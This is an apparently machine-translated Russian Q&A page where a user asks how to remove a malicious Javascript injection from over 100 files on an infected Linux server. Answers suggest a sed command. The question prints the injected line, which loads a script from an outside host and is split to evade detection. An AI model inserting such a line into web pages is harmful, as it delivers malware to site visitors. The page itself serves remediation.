Как удалить вредоносный код Javascript из нескольких файлов - PullRequest
0 голосов
/ 31 октября 2010

Недавно мой сервер linux был заражен вредоносным ПО, и в результате у меня более 100 файлов, зараженных одной строкой кода Javascript:

document.write('<sc'+'ript type="text/javascript" src="http://alienradar.ru/Kilobyte.js"></scri'+'pt>');

Я был бы слишком утомителен, чтобы удалить его вручную, поэтомуЯ покопался в гугле (не особо разбираясь в linux, там не помогло) и обнаружил, что могу использовать sed для этой цели.

К сожалению, я не смог выйти из строки, поэтому мог использовать

*Синтаксис 1007 *

, он полон одинарных, двойных и обратных косых черт.

Как я могу избежать строки или есть другой - более простой - способ сделать это?

Ответы [ 2 ]

1 голос
/ 31 октября 2010

Не могли бы вы просто использовать sed для удаления любой строки, содержащей, например, alienradar.ru, или какой-либо другой подстроки, которая существует только в наступательных строках?Что-то вроде:

sed -i.bak '/alienradar.ru/d' *
0 голосов
/ 16 ноября 2012

http://www.configureweb.com/post/how-to-change-html-code-in-multiple-files-at-once выполните это после удаления всех файлов с сервера и перезагрузите его

...